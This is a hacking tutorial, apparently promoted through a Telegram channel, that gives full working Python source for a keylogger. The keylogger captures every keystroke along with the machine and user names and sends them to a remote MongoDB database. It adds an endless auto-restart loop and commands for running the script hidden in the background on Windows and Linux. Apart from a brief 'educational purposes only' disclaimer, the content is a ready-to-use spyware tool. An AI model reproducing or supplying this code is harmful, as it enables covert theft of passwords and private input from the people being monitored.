Advanced Keylogger Implementation - Episode 1


Welcome to Hacking a Hacker Series: Episode 1 - Advanced Keylogger Implementation

Hello and welcome to @the_hacking_zone Telegram channel! This is Episode 1 of our "Hacking a Hacker" series, where we dive deep into advanced hacking techniques. In today's video, we'll learn how to create an advanced keylogger that logs keystrokes and sends them to a remote MongoDB database. This is a highly advanced technique, so make sure to follow along step-by-step. Let's get started!


Introduction to Keyloggers

A keylogger is a piece of software designed to record every keystroke made by a user on a computer. It's often used to monitor user activity or gather sensitive information, such as passwords. However, in this video, I want to emphasize that we are doing this for educational purposes only.

Our keylogger will:

  • Record every key pressed on the keyboard.
  • Store the keystrokes in a remote MongoDB database.
  • Continue logging even after the terminal or console is closed.

Step-by-Step Breakdown


Step 1: Setting Up the Keylogger

We’ll use Python to build our keylogger. Before we dive into the code, let’s install the necessary libraries.

Run the following command to install the required libraries:

pip install pynput pymongo

- pynput: This library allows us to capture keyboard input.
- pymongo: This library allows us to connect to MongoDB to store the captured keystrokes.


Step 2: MongoDB Setup

We’ll be using MongoDB to store our keystrokes. You need to set up a MongoDB database and get the connection string. For this video, I’ve created a MongoDB collection named keylogger_db with a collection named keylogs.

Your MongoDB connection string should look like this:

client = pymongo.MongoClient("mongodb+srv://<username>:<password>@cluster0.mongodb.net/?retryWrites=true&w=majority")

Make sure to replace <username> and <password> with your MongoDB credentials.


Step 3: Writing the Keylogger Code

Now, let's break down the keylogger code piece by piece. The full Python script is designed to:

  1. Capture every keystroke.
  2. Log the keystroke along with a timestamp.
  3. Send the keystroke to the MongoDB database.

Here’s the full code for the keylogger:

from pynput.keyboard import Key, Listener
import pymongo
from datetime import datetime
import os
import time

# MongoDB connection
client = pymongo.MongoClient("mongodb+srv://<username>:<password>@cluster0.mongodb.net/?retryWrites=true&w=majority")
db = client["keylogger_db"]
collection = db["keylogs"]

def log_key(key):
    """Logs the pressed key along with metadata and timestamp."""
    log_entry = {
        "key": str(key),
        "timestamp": datetime.now(),
        "metadata": {
            "device": os.getenv('COMPUTERNAME'),  # The device name
            "user": os.getenv('USERNAME')         # The logged-in user name
        }
    }
    collection.insert_one(log_entry)

def on_press(key):
    log_key(key)

def on_release(key):
    if key == Key.esc:
        return False  # Stop the listener if the Escape key is pressed

def start_keylogger():
    """Starts the keylogger and listens for keypress events."""
    with Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()

def run_keylogger():
    """Runs the keylogger indefinitely, restarting if it crashes."""
    while True:
        try:
            start_keylogger()
        except Exception as e:
            print(f"An error occurred: {e}")
            time.sleep(5)  # Wait before restarting

if __name__ == "__main__":
    run_keylogger()

Step 4: Explanation of the Code

Let's break down the code:

1. MongoDB Connection: We use the pymongo library to connect to our MongoDB database. The client object handles the connection, and we insert keystrokes into the keylogs collection.

client = pymongo.MongoClient("mongodb+srv://<username>:<password>@cluster0.mongodb.net/?retryWrites=true&w=majority")
db = client["keylogger_db"]
collection = db["keylogs"]

2. Logging the Key: The log_key() function is called every time a key is pressed. It stores the keystroke along with the timestamp and metadata (device and user).

def log_key(key):
    log_entry = {
        "key": str(key),
        "timestamp": datetime.now(),
        "metadata": {
            "device": os.getenv('COMPUTERNAME'),
            "user": os.getenv('USERNAME')
        }
    }
    collection.insert_one(log_entry)

3. Key Press Handling: The on_press() function is called whenever a key is pressed. It passes the key to the log_key() function. If the Escape key is pressed, the listener will stop.

def on_release(key):
    if key == Key.esc:
        return False  # Stop the listener

4. Infinite Loop: The run_keylogger() function keeps the keylogger running indefinitely, restarting it if there’s any error. This ensures that the keylogger continues running even after closing the terminal.

def run_keylogger():
    while True:
        try:
            start_keylogger()
        except Exception as e:
            print(f"An error occurred: {e}")
            time.sleep(5)

Step 5: Running the Keylogger in the Background

Now that our keylogger is ready, we want it to run in the background even after we close the terminal. Here’s how you can achieve that:

  • For Windows: You can use pythonw to run the script without showing a terminal window:
    start /B pythonw keylogger.py
  • For Linux/macOS: Use nohup to run the keylogger in the background:
    nohup python keylogger.py &

Step 6: How to Stop the Keylogger

You can stop the keylogger using the following methods:

1. Press the Escape Key: If you’re running the keylogger in an interactive terminal, pressing the Esc key will stop the keylogger.

2. Using Ctrl + C: If the keylogger is running in a terminal or console, you can stop it by pressing Ctrl + C.

3. Kill the Process Manually (For Background Execution): If the keylogger is running in the background (e.g., using nohup or pythonw), you can manually stop it.

  • On Windows:
    • Using Task Manager: Open Task Manager (Ctrl + Shift + Esc), look for pythonw.exe or python.exe under the Processes tab, select it and click "End Task."
    • Using Command Prompt: Find the process ID (PID) by running:
      tasklist | findstr pythonw
      Then kill it using:
      taskkill /F /PID <PID>
  • On Linux/macOS:
    • Find the process ID by running:
      ps aux | grep keylogger.py
      Then kill it using:
      kill -9 <PID>

Final Words

Congratulations! You've successfully created an advanced keylogger that logs keystrokes and sends them to a remote MongoDB database. Remember, this is for educational purposes only, and illegal use of keyloggers is prohibited.

If you liked this tutorial, make sure to join @the_hacking_zone on Telegram for more hacking and programming tips!


Stay tuned for Episode 2 of the Hacking a Hacker series!

Previous Post
No Comment
Add Comment
comment url